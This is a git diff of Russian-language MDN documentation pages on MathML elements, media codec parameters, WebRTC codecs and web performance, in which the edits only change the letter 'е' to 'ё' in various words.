      Список нотаций, разделённых пробелами, применяемых к дочерним элементам. Изображённые символы могут перекрываться. Возможные значения: @@ -61,7 +61,7 @@ translation_of: Web/MathML/Element/menclose - + @@ -97,25 +97,25 @@ translation_of: Web/MathML/Element/menclose - + - + - + - + diff --git a/files/ru/web/mathml/element/merror/index.html b/files/ru/web/mathml/element/merror/index.html index 78db2d09bd..c10046e96b 100644 --- a/files/ru/web/mathml/element/merror/index.html +++ b/files/ru/web/mathml/element/merror/index.html @@ -10,7 +10,7 @@ translation_of: Web/MathML/Element/merror ---
      {{MathMLRef}}
      -

      Элемент MathML <merror> используется для отображения содержимого в виде сообщений об ошибках. В Firefox это сообщение об ошибке отображается аналогично типичному сообщению об ошибке XML. Обратите внимание, что эта ошибка не выдается, если ваша разметка MathML неверна или неправильно сформирован XML. Вы все равно получите ошибку разбора XML (в случае XHTML-нотации MathML), которая не имеет ничего общего с <merror>.

      +

      Элемент MathML <merror> используется для отображения содержимого в виде сообщений об ошибках. В Firefox это сообщение об ошибке отображается аналогично типичному сообщению об ошибке XML. Обратите внимание, что эта ошибка не выдаётся, если ваша разметка MathML неверна или неправильно сформирован XML. Вы все равно получите ошибку разбора XML (в случае XHTML-нотации MathML), которая не имеет ничего общего с <merror>.

      Атрибуты

      diff --git a/files/ru/web/mathml/element/mover/index.html b/files/ru/web/mathml/element/mover/index.html index bbc4005440..d047636c21 100644 --- a/files/ru/web/mathml/element/mover/index.html +++ b/files/ru/web/mathml/element/mover/index.html @@ -22,7 +22,7 @@ translation_of: Web/MathML/Element/mover Если установлено false (по умолчанию) over-script это ограничение по базовому выражению.
      align {{deprecated_inline}}
      Выравнивание над сценарием. Возможные значения: left, center, и right.
      - Этот атрибут устарел и будет удален в будущем. Вместо этого используйте CSS text-align.
      + Этот атрибут устарел и будет удалён в будущем. Вместо этого используйте CSS text-align.
      class, id, style
      Предусмотрено для использования с таблицами стилей.
      displaystyle
      diff --git a/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html b/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html index 20ecb0b6a6..1b3016bca9 100644 --- a/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html +++ b/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html @@ -14,6 +14,6 @@ original_slug: Web/MathML/Примеры/Deriving_the_Quadratic_Formula ---

      На этой странице описывается вывод Квадратичной Формулы.

      -

      Мы берем квадратное уравнение в его общем виде и решаем для х:

      +

      Мы берём квадратное уравнение в его общем виде и решаем для х:

      a x 2 + b x + c = 0 a x 2 + b x = - c x 2 + b a x = -c a Делим на главный коэффициент. x 2 + b a x + b 2 a 2 = - c ( 4 a ) a ( 4 a ) + b 2 4 a 2 Дополняем до квадрата. ( x + b 2 a ) ( x + b 2 a ) = b 2 - 4 a c 4 a 2 Получен дискриминант. ( x + b 2 a ) 2 = b 2 - 4 a c 4 a 2 x + b 2 a = b 2 - 4 a c 4 a 2 x = -b 2 a ±{C} b 2 - 4 a c 4 a 2 Это основная формула. x = - b ±{C} b 2 - 4 a c 2 a

      diff --git a/files/ru/web/mathml/examples/index.html b/files/ru/web/mathml/examples/index.html index da9fd7af37..021f28be4b 100644 --- a/files/ru/web/mathml/examples/index.html +++ b/files/ru/web/mathml/examples/index.html @@ -9,7 +9,7 @@ tags: translation_of: Web/MathML/Examples original_slug: Web/MathML/Примеры --- -

      Ниже Вы найдете некоторые примеры, которые помогут Вам понять, как использовать MathML для отображения более сложных математических понятий в веб содержимом.

      +

      Ниже Вы найдёте некоторые примеры, которые помогут Вам понять, как использовать MathML для отображения более сложных математических понятий в веб содержимом.

      Теорема Пифагора
      diff --git a/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html b/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html index d3a140ec77..ee163d6e66 100644 --- a/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html +++ b/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html @@ -21,7 +21,7 @@ original_slug: Web/MathML/Примеры/MathML_Pythagorean_Theorem

      То есть, если aa и bb - катеты, а cc - гипотенуза, то a2+b2=c2a^2 + b^2 = c^2.

      -

      Доказательство: Мы можем доказать теорему алгебраически, показав, что площадь большого квадрата равна площади внутреннего квадрата (квадрата гипотенузы) плюс площадь четырех треугольников:

      +

      Доказательство: Мы можем доказать теорему алгебраически, показав, что площадь большого квадрата равна площади внутреннего квадрата (квадрата гипотенузы) плюс площадь четырёх треугольников:

      (a+b)2=c2+4(12ab)(a + b)^2 = c^2 + 4 \cdot \left( \frac{1}{2} \cdot ab \right)

      diff --git a/files/ru/web/media/formats/codecs_parameter/index.html b/files/ru/web/media/formats/codecs_parameter/index.html index 284e64c550..4609de3553 100644 --- a/files/ru/web/media/formats/codecs_parameter/index.html +++ b/files/ru/web/media/formats/codecs_parameter/index.html @@ -1,5 +1,5 @@ --- -title: Параметр "codecs" для распространенных типов носителей +title: Параметр "codecs" для распространённых типов носителей slug: Web/Media/Formats/codecs_parameter translation_of: Web/Media/Formats/codecs_parameter --- @@ -15,7 +15,7 @@ translation_of: Web/Media/Formats/codecs_parameter

      Общий синтаксис

      -

      Основной медиатип определяется установкой строкового значения  (audio, video, и т.д.), после которого идет символ слеша (/), затем указывается формат контейнера, который будет содержать информацию:

      +

      Основной медиатип определяется установкой строкового значения  (audio, video, и т.д.), после которого идёт символ слеша (/), затем указывается формат контейнера, который будет содержать информацию:

      audio/mpeg
      @@ -41,7 +41,7 @@ translation_of: Web/Media/Formats/codecs_parameter
      Файл MPEG-4 , содержащий  AVC (H.264) видео, Основной профиль, Уровень 4.2.
      -

      Как и в случае с  любым параметром MIME типа , codecs должен заменяться на codecs* (обратите внимание на символ звездочки, *) , если какое-либо из свойств кодека использует специальные символы для указания дополнительной информации (языковые отметки, кодировка байтов в шестнадцатеричные значения и т.д.), входящие в {{RFC(2231, "MIME Parameter Value and Encoded Word Extensions", 4)}}. Можно использовать функции JavaScript {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} для кодирования списка параметров, можно использовать   {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} для декодирования предварительно закодированного списка параметров.

      +

      Как и в случае с  любым параметром MIME типа , codecs должен заменяться на codecs* (обратите внимание на символ звёздочки, *) , если какое-либо из свойств кодека использует специальные символы для указания дополнительной информации (языковые отметки, кодировка байтов в шестнадцатеричные значения и т.д.), входящие в {{RFC(2231, "MIME Parameter Value and Encoded Word Extensions", 4)}}. Можно использовать функции JavaScript {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} для кодирования списка параметров, можно использовать   {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} для декодирования предварительно закодированного списка параметров.

       Когда используется параметр codecs, указанный список кодеков должен включать каждый кодек, используемый для содержимого файла Список также может содержать кодеки, которых нет в файле.

      diff --git a/files/ru/web/media/formats/webrtc_codecs/index.html b/files/ru/web/media/formats/webrtc_codecs/index.html index b7c15b90d1..b8fab2ec49 100644 --- a/files/ru/web/media/formats/webrtc_codecs/index.html +++ b/files/ru/web/media/formats/webrtc_codecs/index.html @@ -14,7 +14,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки

      WebRTC использует объект типа {{domxref("MediaStreamTrack")}} для представления каждого трека, передающегося между узлами соединения без использования контейнера или объекта типа {{domxref("MediaStream")}} , объединяющего треки. Какие кодеки могут быть в этих треках, спецификацией  WebRTC не определяется. Однако, {{RFC(7742)}} определяет, что все браузеры, поддерживающие WebRTC, должны поддерживать VP8 и H.264 ограниченный базовый профиль для видео; и {{RFC(7874)}} , определяющая, что браузеры должны поддерживать, по меньшей мере, кодеки Opus и G.711  форматов PCMA и PCMU.

      -

      Эти две спецификации определяют свойства, которые должны поддерживаться каждым кодеком, а так же определенные функции для удобства использования, к примеру, функция эхоподавления. В этом руководстве происходит обзор кодеков, поддержка которых обязательна браузерам для реализации WebRTC, а так же иные (не обязательные) кодеки, поддерживаемые отдельными или всеми браузерами,.

      +

      Эти две спецификации определяют свойства, которые должны поддерживаться каждым кодеком, а так же определённые функции для удобства использования, к примеру, функция эхоподавления. В этом руководстве происходит обзор кодеков, поддержка которых обязательна браузерам для реализации WebRTC, а так же иные (не обязательные) кодеки, поддерживаемые отдельными или всеми браузерами,.

      Хоть сжатие всегда и необходимо при работе со средствами массовой информации в Интернете, оно имеет дополнительное значение при проведении видеоконференций, чтобы участники могли общаться без задержек и перерывов. Второстепенное значение имеет необходимость синхронизации видео и звука, чтобы движения и любая вспомогательная информация (например, слайды или проекция) были представлены одновременно с соответствующим звуком

      @@ -24,7 +24,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки

      Если {{Glossary ("SDP")}} специально не указывает иное, веб-браузер, принимающий видеопоток WebRTC, должен иметь возможность обрабатывать видео со скоростью не менее 20 кадров в секунду при минимальном разрешении 320 пикселей в ширину и 240 пикселей в высоту. Рекомендуется, чтобы видео кодировалось с частотой кадров и размером не ниже этого, поскольку это, по сути, нижняя граница того, что WebRTC обычно должен обрабатывать.

      -

      SDP поддерживает независимый от кодеков способ указания предпочтительных разрешений видео ({{RFC (6236)}}). Это делается путем отправки a=imageattr атрибута SDP для указания максимально допустимого разрешения. Однако отправителю не требуется поддерживать этот механизм, поэтому вы должны быть готовы получать носители с другим разрешением, чем вы запрашивали. Помимо этого простого запроса максимального разрешения, определенные кодеки могут предлагать дополнительные способы запроса конкретных конфигураций мультимедиа.

      +

      SDP поддерживает независимый от кодеков способ указания предпочтительных разрешений видео ({{RFC (6236)}}). Это делается путём отправки a=imageattr атрибута SDP для указания максимально допустимого разрешения. Однако отправителю не требуется поддерживать этот механизм, поэтому вы должны быть готовы получать носители с другим разрешением, чем вы запрашивали. Помимо этого простого запроса максимального разрешения, определённые кодеки могут предлагать дополнительные способы запроса конкретных конфигураций мультимедиа.

      Поддерживаемые видео кодеки

      @@ -103,11 +103,11 @@ original_slug: Web/Media/Formats/WebRTC_кодеки

      Поддержка профиля AVC Constrained Baseline (CB) требуется во всех полностью совместимых реализациях WebRTC. CB является подмножеством основного профиля и специально разработан для приложений с низкой сложностью и малой задержкой, таких как мобильное видео и видеоконференции, а также для платформ с более низкими возможностями обработки видео..

      -

      Наш обзор  AVC и его функциональности найдете в основном руководстве по видеокодекам.

      +

      Наш обзор  AVC и его функциональности найдёте в основном руководстве по видеокодекам.

      Требования поддержки специальных параметров

      -

      AVC предлагает широкий спектр параметров для управления дополнительными значениями. Чтобы повысить надежность совместного использования мультимедиа WebRTC на нескольких платформах и в разных браузерах, необходимо, чтобы конечные точки WebRTC, поддерживающие AVC, обрабатывали определенные параметры определенным образом. Иногда это просто означает, что параметр должен (или не должен) поддерживаться. Иногда это означает, что необходимо указать конкретное значение для параметра или разрешить определенный набор значений. А иногда требования более сложны.

      +

      AVC предлагает широкий спектр параметров для управления дополнительными значениями. Чтобы повысить надёжность совместного использования мультимедиа WebRTC на нескольких платформах и в разных браузерах, необходимо, чтобы конечные точки WebRTC, поддерживающие AVC, обрабатывали определённые параметры определённым образом. Иногда это просто означает, что параметр должен (или не должен) поддерживаться. Иногда это означает, что необходимо указать конкретное значение для параметра или разрешить определённый набор значений. А иногда требования более сложны.

      Полезные, но необязательные параметры
      @@ -115,9 +115,9 @@ original_slug: Web/Media/Formats/WebRTC_кодеки
      max-br
      -
      Если параметр определен и поддерживается , он определяет максимальную скорость передачи видеоданных в  единицах 1,000 bps (бит в секунду) для VCL и 1,200 bps (бит в секунду) для NAL. Подробности на  странице 47 спецификации RFC 6184.
      +
      Если параметр определён и поддерживается , он определяет максимальную скорость передачи видеоданных в  единицах 1,000 bps (бит в секунду) для VCL и 1,200 bps (бит в секунду) для NAL. Подробности на  странице 47 спецификации RFC 6184.
      max-cpb
      -
      Если параметр определен и поддерживается, он определяет максимальный размер буфера, кодируемых данных. Немного усложненный параметр, размер которого может варьироваться. Смотрим на страницу  45 спецификации RFC 6184 о подробностях.
      +
      Если параметр определён и поддерживается, он определяет максимальный размер буфера, кодируемых данных. Немного усложнённый параметр, размер которого может варьироваться. Смотрим на страницу  45 спецификации RFC 6184 о подробностях.
      max-dpb
      Определяет максимальный размер буфера  декодированных данных, выраженных в единицах  8/3 макроблоков. Подробности в спецификации RFC 6184, страница 46.
      max-fs
      @@ -128,7 +128,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки
      Определяет максимальную скорость обработки статических макроблоков в секунду (используя гипотетическое предположение, что все макроблоки являются статическими макроблоками).
      -
      Параметры с определенными требованиями
      +
      Параметры с определёнными требованиями

      Эти параметры являются необязательными, но имеют специальные требования при их использовании.

      @@ -229,7 +229,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки

      [2] The {{interwiki("wikipedia", "Internet Speech Audio Codec")}} (iSAC)  -  другой кодек, разработанный Global IP Solutions, теперь принадлежащий Google, открывший его код. Используется Google Talk, QQ, и другими клиентами быстрых сообщений, специально спроектированный для голосовых сообщений, упакованных в поток RTP. Пока не является обязательной поддерживаемым кодеком. Поддерживается Safari и Chrome. Не поддерживается Firefox и Edge.

      -

      {{interwiki("wikipedia", "Comfort noise")}} (CN) - комфортный шум. Является формой искусственного фонового шума, использующегося для заполнения пробелов в передаче, вместо использования полной тишины. Помогает избежать вибрационных эффектов, возникающих, когда голосовая активация или подобная функциональность  вызывает временное приостановление потока, известная как прерывистая передача (Discontinuous Transmission (DTX)). В спецификации {{RFC(3389)}}, метод предлагает использовать определенное заполнение в беззвучных промежутках.

      +

      {{interwiki("wikipedia", "Comfort noise")}} (CN) - комфортный шум. Является формой искусственного фонового шума, использующегося для заполнения пробелов в передаче, вместо использования полной тишины. Помогает избежать вибрационных эффектов, возникающих, когда голосовая активация или подобная функциональность  вызывает временное приостановление потока, известная как прерывистая передача (Discontinuous Transmission (DTX)). В спецификации {{RFC(3389)}}, метод предлагает использовать определённое заполнение в беззвучных промежутках.

      Комфортный шум используется с G.711 и может потенциально использоваться с другими кодеками, которые не имеют встроенной функции CN. Кодек Opus, к примеру, имеет собственную реализацию CN, поэтому использование RFC 3389 CN с кодеком Opus не рекомендуется.

      @@ -237,11 +237,11 @@ original_slug: Web/Media/Formats/WebRTC_кодеки

      Кодек Opus

      -

      Формат Opus, определенный в {{RFC (6716)}}), является основным форматом для аудио в WebRTC. Формат полезной нагрузки RTP для Opus находится в {{RFC (7587)}}. Можете найти подробную информацию об Opus и его возможностях, а также о том, как другие API могут поддерживать Opus, в соответствующей секции  нашего руководства по аудиокодекам, использующимся в web.

      +

      Формат Opus, определённый в {{RFC (6716)}}), является основным форматом для аудио в WebRTC. Формат полезной нагрузки RTP для Opus находится в {{RFC (7587)}}. Можете найти подробную информацию об Opus и его возможностях, а также о том, как другие API могут поддерживать Opus, в соответствующей секции  нашего руководства по аудиокодекам, использующимся в web.

      Должны поддерживаться оба режима : речь и обычное аудио. Масштабируемость и гибкость Opus полезна при работе с аудио, имеющим различную степень сложности. Поддержка внутриполосных стереосигналов позволяет поддерживать стереозвук без усложнения процесса демультиплексирования.

      -

      Весь диапазон битрейтов, поддерживаемых Opus (от 6 кбит / с до 510 кбит / с), поддерживается в WebRTC, причем скорость битов можно динамически изменять. Более высокие битовые скорости передачи обычно улучшают качество..

      +

      Весь диапазон битрейтов, поддерживаемых Opus (от 6 кбит / с до 510 кбит / с), поддерживается в WebRTC, причём скорость битов можно динамически изменять. Более высокие битовые скорости передачи обычно улучшают качество..

      Рекомендации по скорости передачи данных (bit rate)

      @@ -282,7 +282,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки

      Кодек G.711

      -

      G.711 определяет формат для звука с импульсной кодовой модуляцией (PCM) в виде серии 8-битных целочисленных выборок, взятых с частотой дискретизации 8000 Гц, что дает скорость передачи данных 64 кбит / с. И в {{interwiki("wikipedia", "M-law", "µ-law")}} , и в {{interwiki("wikipedia", "A-law")}} разрешена кодировка.

      +

      G.711 определяет формат для звука с импульсной кодовой модуляцией (PCM) в виде серии 8-битных целочисленных выборок, взятых с частотой дискретизации 8000 Гц, что даёт скорость передачи данных 64 кбит / с. И в {{interwiki("wikipedia", "M-law", "µ-law")}} , и в {{interwiki("wikipedia", "A-law")}} разрешена кодировка.

      G.711 определяется ITU  , а его формат нагрузки в {{RFC(3551, "4.5.14")}}.

      @@ -323,11 +323,11 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => {

      Обработчик события icegatheringstatechange установлен; в нем мы отслеживаем тип события complete завершения сборки кандидатов ICE, указывающее что сборка кандидатов завершена. Метод {{domxref("RTCPeerConnection.getSenders()")}} вызывается для получения списка всех объектов {{domxref("RTCRtpSender")}} , использующихся в соединении.

      -

      Имея это в виду, мы просматриваем список отправителей и ищем первого, чей {{domxref ("MediaStreamTrack")}} указывает, что тип {{domxref ("MediaStreamTrack.track", "track")}} в своем свойстве  {{domxref("MediaStreamTrack.kind", "kind")}} содержит значение video, указывающее, что данные являются видеоданными. Затем вызывается метод отправителя  {{domxref("RTCRtpSender.getParameters", "getParameters()")}} , и значением свойства  {{domxref("RTCRtpParameters.codecs", "codecs")}} возвращаемого объекта {{domxref("RTCRtpSendParameters")}} , инициализируем переменную codecList.

      +

      Имея это в виду, мы просматриваем список отправителей и ищем первого, чей {{domxref ("MediaStreamTrack")}} указывает, что тип {{domxref ("MediaStreamTrack.track", "track")}} в своём свойстве  {{domxref("MediaStreamTrack.kind", "kind")}} содержит значение video, указывающее, что данные являются видеоданными. Затем вызывается метод отправителя  {{domxref("RTCRtpSender.getParameters", "getParameters()")}} , и значением свойства  {{domxref("RTCRtpParameters.codecs", "codecs")}} возвращаемого объекта {{domxref("RTCRtpSendParameters")}} , инициализируем переменную codecList.

      Если видеотрек не найден, устанавливаем  codecList в null.

      -

      При возврате, codecList либо  null , указывающий на то, что видеодорожки не были найдены, либо это массив {{domxref ("RTCRtpCodecParameters")}} объектов, каждый из которых описывает одну разрешенную конфигурацию кодека. Особое значение в этих объектах имеет свойство {{domxref ("RTCRtpCodecParameters.payloadType", "payloadType")}}, которое является однобайтовым значением, однозначно идентифицирующим описанную конфигурацию.

      +

      При возврате, codecList либо  null , указывающий на то, что видеодорожки не были найдены, либо это массив {{domxref ("RTCRtpCodecParameters")}} объектов, каждый из которых описывает одну разрешённую конфигурацию кодека. Особое значение в этих объектах имеет свойство {{domxref ("RTCRtpCodecParameters.payloadType", "payloadType")}}, которое является однобайтовым значением, однозначно идентифицирующим описанную конфигурацию.

      Примечание :  Два метода получения списков кодеков, показанные здесь, используют разные типы вывода в своих списках кодеков. Помните об этом при использовании результатов

      @@ -356,17 +356,17 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => { } -

      В этом примере функция  changeVideoCodec() принимает в параметр MIME тип предпочтительного к использованию кодека. Код начинается с получения списка объектов приемо-передатчиков объекта соединения {{domxref("RTCPeerConnection")}}.

      +

      В этом примере функция  changeVideoCodec() принимает в параметр MIME тип предпочтительного к использованию кодека. Код начинается с получения списка объектов приёмо-передатчиков объекта соединения {{domxref("RTCPeerConnection")}}.

      -

      Затем, для каждого приемо-передатчика анализируем тип медиа свойства {{domxref("RTCRtpSender")}}'s track's {{domxref("MediaStreamTrack.kind", "kind")}}. Так же получаем список поддерживаемых браузером кодеков стороны отправки и получения  video, используя статический метод getCapabilities() обоих классов {{domxref("RTCRtpSender")}} и {{domxref("RTCRtpReceiver")}}.

      +

      Затем, для каждого приёмо-передатчика анализируем тип медиа свойства {{domxref("RTCRtpSender")}}'s track's {{domxref("MediaStreamTrack.kind", "kind")}}. Так же получаем список поддерживаемых браузером кодеков стороны отправки и получения  video, используя статический метод getCapabilities() обоих классов {{domxref("RTCRtpSender")}} и {{domxref("RTCRtpReceiver")}}.

      Если тип медиаданных является типом  video, вызываем метод preferCodec() для обоих взаимодействующих сторон списков кодеков, который реорганизует список кодеков необходимым образом  (смотри ниже).

      И наконец, вызываем метод {{domxref("RTCRtpTransceiver.setCodecPreferences", "setCodecPreferences()")}} объекта  {{domxref("RTCRtpTransceiver")}} для определения того, что использование кодеков обеих сторон разрешено, в указанном порядке.

      -

      Это выполняется для каждого объекта приемо-передатчика объекта соединения  RTCPeerConnection; как только все приемо-передатчики обновили списки предпочитаемых кодеков, вызывается обработчик события  {{domxref("RTCPeerConnection.onnegotiationneeded", "onnegotiationneeded")}} , который создает новый объект предложения, обновляет объект локального описания сессии, отправляет предложение удаленному узлу, и так далее, запуская согласование соединения .

      +

      Это выполняется для каждого объекта приёмо-передатчика объекта соединения  RTCPeerConnection; как только все приёмо-передатчики обновили списки предпочитаемых кодеков, вызывается обработчик события  {{domxref("RTCPeerConnection.onnegotiationneeded", "onnegotiationneeded")}} , который создаёт новый объект предложения, обновляет объект локального описания сессии, отправляет предложение удалённому узлу, и так далее, запуская согласование соединения .

      -

      Функция preferCodec() вызываемая приведенным выше кодом, действует так, чтобы переместить указанный кодек в верхнюю часть списка (для приоритета во время согласования):

      +

      Функция preferCodec() вызываемая приведённым выше кодом, действует так, чтобы переместить указанный кодек в верхнюю часть списка (для приоритета во время согласования):

      function preferCodec(codecs, mimeType) {
         let otherCodecs = [];
      @@ -384,11 +384,11 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => {
         return sortedCodecs.concat(otherCodecs);
       }
      -

      Этот код просто разбивает список кодеков на два массива: один, содержащий кодеки, чей  MIME тип совпадает с тем, который указан в параметре mimeType , другой же содержит остальные кодеки. Как только список разделен, они объединяются вместе с записями, соответствующими заданному mimeType следующими вначале, за которыми следуют остальные записи кодеков. Затем этот список возвращается вызывающему коду.

      +

      Этот код просто разбивает список кодеков на два массива: один, содержащий кодеки, чей  MIME тип совпадает с тем, который указан в параметре mimeType , другой же содержит остальные кодеки. Как только список разделён, они объединяются вместе с записями, соответствующими заданному mimeType следующими вначале, за которыми следуют остальные записи кодеков. Затем этот список возвращается вызывающему коду.

      Кодеки по умолчанию

      -

      Если не определенно иное, кодеки по умолчанию (предпочтительные кодеки), запрашиваемые браузерными реализациями  WebRTC, перечислены ниже

      +

      Если не определённо иное, кодеки по умолчанию (предпочтительные кодеки), запрашиваемые браузерными реализациями  WebRTC, перечислены ниже

      roundedbox roundedbox a2 + b2 прямоугольник с закругленными вершинамипрямоугольник с закруглёнными вершинами
      circleupdiagonalstrike updiagonalstrike a2 + b2 линия, перечеркивающая содержимое от левого низа до правого верхалиния, перечёркивающая содержимое от левого низа до правого верха
      downdiagonalstrike downdiagonalstrike a2 + b2 линия, перечеркивающая содержимое от левого верха до правого низалиния, перечёркивающая содержимое от левого верха до правого низа
      verticalstrike verticalstrike a2 + b2 вертикальная линия, зачеркивающая содержимоевертикальная линия, зачёркивающая содержимое
      horizontalstrike horizontalstrike a2 + b2 горизонтальная линия, зачеркивающая содержимоегоризонтальная линия, зачёркивающая содержимое
      madruwb
      - + @@ -236,7 +236,7 @@ performance.getEntriesByType('frame').forEach((frame) => { -

      Когда пользователь запрашивает веб-приложение, браузер должен получить некоторые мета-данные, чтобы начать загрузку. Для этого пользовательский агент проходит серию шагов, такие как поиск записи DNS ({{glossary('DNS')}} lookup), TCP рукопожатие {{glossary('TCP handshake')}}, и установку безопасного соединения (SSL negotiation). Как только браузер установил соединение, происходит первый полезный запрос данных на сервера. Как только начинают поступать данные от сервера, браузер начинает парсить полученные данные, строит DOM, CSSOM, создает деревья рендера (render trees), чтобы в конце концов отрендерить страницу. В тот момент, когда браузер перестает парсить входящие данные, документ переходит в интерактивную стадию. Если в документе существуют отложенные к загрузке ресурсы (deferred scripts), которые должны быть обработаны, браузер парсит их. После этого запускается событие DOMContentLoaded, после которого готовность страницы завершена. Теперь документ может обрабатывать пост-загрузочные задачи. После этого документ маркируется, как полностью загруженный.

      +

      Когда пользователь запрашивает веб-приложение, браузер должен получить некоторые мета-данные, чтобы начать загрузку. Для этого пользовательский агент проходит серию шагов, такие как поиск записи DNS ({{glossary('DNS')}} lookup), TCP рукопожатие {{glossary('TCP handshake')}}, и установку безопасного соединения (SSL negotiation). Как только браузер установил соединение, происходит первый полезный запрос данных на сервера. Как только начинают поступать данные от сервера, браузер начинает парсить полученные данные, строит DOM, CSSOM, создаёт деревья рендера (render trees), чтобы в конце концов отрендерить страницу. В тот момент, когда браузер перестаёт парсить входящие данные, документ переходит в интерактивную стадию. Если в документе существуют отложенные к загрузке ресурсы (deferred scripts), которые должны быть обработаны, браузер парсит их. После этого запускается событие DOMContentLoaded, после которого готовность страницы завершена. Теперь документ может обрабатывать пост-загрузочные задачи. После этого документ маркируется, как полностью загруженный.

      let navigationTimings = performance.getEntriesByType('navigation');
      @@ -274,7 +274,7 @@ performance.getEntriesByType('frame').forEach((frame) => {

      Если мы проверим вычисления, то результат получится схожим: 1 - (22.04 / 87.24) = 0.747. Тайминги навигации позволяют нам получить такие данные программно.

      -

      Обратите внимание, что это данные для одного единственно документа, а не для всех ресурсов вместе взятых. В то же время, длительность загрузки, события-обработчики и тайминги построения DOM / CSSOM влияют на продолжительность загрузки всего приложения, не только одного конкретного ресурса. Клиентские приложения, выполняющиеся в браузере, могут выглядеть быстрее, если данные объемом 300КБ вы передаете сжатыми до 100КБ, но это все не значит, что JavaScript, CSS или другие медиа-ресурсы не раздувают приложение и не делают его медленнее. Проверка уровня сжатия - это очень важно, но не менее важно проверять длительность парсинга ресурсов и время между тем, как завершен DOMContentLoaded и DOM готов к работе. Может случиться так, что время парсинга скриптов и обработка скриптами результатов в основном потоке (main thread) приведет к зависанию интерфейса.

      +

      Обратите внимание, что это данные для одного единственно документа, а не для всех ресурсов вместе взятых. В то же время, длительность загрузки, события-обработчики и тайминги построения DOM / CSSOM влияют на продолжительность загрузки всего приложения, не только одного конкретного ресурса. Клиентские приложения, выполняющиеся в браузере, могут выглядеть быстрее, если данные объёмом 300КБ вы передаёте сжатыми до 100КБ, но это все не значит, что JavaScript, CSS или другие медиа-ресурсы не раздувают приложение и не делают его медленнее. Проверка уровня сжатия - это очень важно, но не менее важно проверять длительность парсинга ресурсов и время между тем, как завершён DOMContentLoaded и DOM готов к работе. Может случиться так, что время парсинга скриптов и обработка скриптами результатов в основном потоке (main thread) приведёт к зависанию интерфейса.

      Время запроса

      @@ -298,7 +298,7 @@ performance.getEntriesByType('frame').forEach((frame) => {

      В объекте данных есть поле Длительность (Duration). Длительность - это разница между PerformanceNavigationTiming.loadEventEnd и PerformanceEntry.startTime properties.

      -

      Интерфейс PerformanceNavigationTiming, кроме того, дает информацию о том, какой тип навигации вы измеряете, возвращая navigate, reload, back_forward или prerender.

      +

      Интерфейс PerformanceNavigationTiming, кроме того, даёт информацию о том, какой тип навигации вы измеряете, возвращая navigate, reload, back_forward или prerender.

      Resource

      diff --git a/files/ru/web/performance/optimizing_startup_performance/index.html b/files/ru/web/performance/optimizing_startup_performance/index.html index 6da93e1660..3358f1b8f4 100644 --- a/files/ru/web/performance/optimizing_startup_performance/index.html +++ b/files/ru/web/performance/optimizing_startup_performance/index.html @@ -4,7 +4,7 @@ slug: Web/Performance/Optimizing_startup_performance translation_of: Web/Performance/Optimizing_startup_performance ---
      -

      Часто упускаемый из вида аспект разработки приложений - это скорость запуска приложения. Даже если вы прикладываете много усилий к оптимизации работы приложений, именно этот этап может быть пропущен. Как долго запускается ваше приложение? Создается ли впечатление, что устройство зависает, пока приложение запускается? Все эти симптомы заставляют пользователя считать, что приложение сломано или что-то идет не так. Всегда будет не лишним убедиться, что ваше приложение запускается плавно. В этой статье мы поделимся некоторыми подсказками, которые помогут вам оптимизировать запуск приложения, вне зависимости от того, пишете ли вы его с нуля или работаете над уже существующим.

      +

      Часто упускаемый из вида аспект разработки приложений - это скорость запуска приложения. Даже если вы прикладываете много усилий к оптимизации работы приложений, именно этот этап может быть пропущен. Как долго запускается ваше приложение? Создаётся ли впечатление, что устройство зависает, пока приложение запускается? Все эти симптомы заставляют пользователя считать, что приложение сломано или что-то идёт не так. Всегда будет не лишним убедиться, что ваше приложение запускается плавно. В этой статье мы поделимся некоторыми подсказками, которые помогут вам оптимизировать запуск приложения, вне зависимости от того, пишете ли вы его с нуля или работаете над уже существующим.

      Приятный запуск

      @@ -13,7 +13,7 @@ translation_of: Web/Performance/Optimizing_startup_performance

      Вместо этого, вы можете разбить ваш код так, чтобы часть его обрабатывалась в Web worker, что выделит его в отдельные фоновые неблокирующие треды (например, запросы данных и их обработка). Затем, все, что должно быть выполнено в основном потоке (например, пользовательские события или рендеринг интерфейса) должно быть разбито на небольшие кусочки так, чтобы обработчик браузера выполнял небольшие куски кода итеративно, а не за один подход. Это позволит ваше приложению выглядеть отзывчивым даже во время первоначальной загрузки.

      -

      Почему так важно делать все это асинхронно? Помимо причин, перечисленных выше, подумайте о влиянии, которые оказывают зависшие приложения: пользователь не может отменить запуск, даже если он запустил приложение по ошибке. Если приложение запускается в браузере, пользователь даже не сможет закрыть вкладку. В конечно счете это может привести даже к системным предупреждениям о "медленных скриптах" или "исчерпании памяти". А ведь было время, когда каждая вкладка не работала в отдельном процессе, как сейчас, а потому повисшая вкладка приводила к зависанию всего браузера! Вы должны не просто делать загрузку приложения "мягкой", но и давать пользователю знать о процессе загрузки: показывайте ему прогресс-бары или этапы, которые проходит приложение. Это позволит пользователю убедиться, что приложение не зависло.

      +

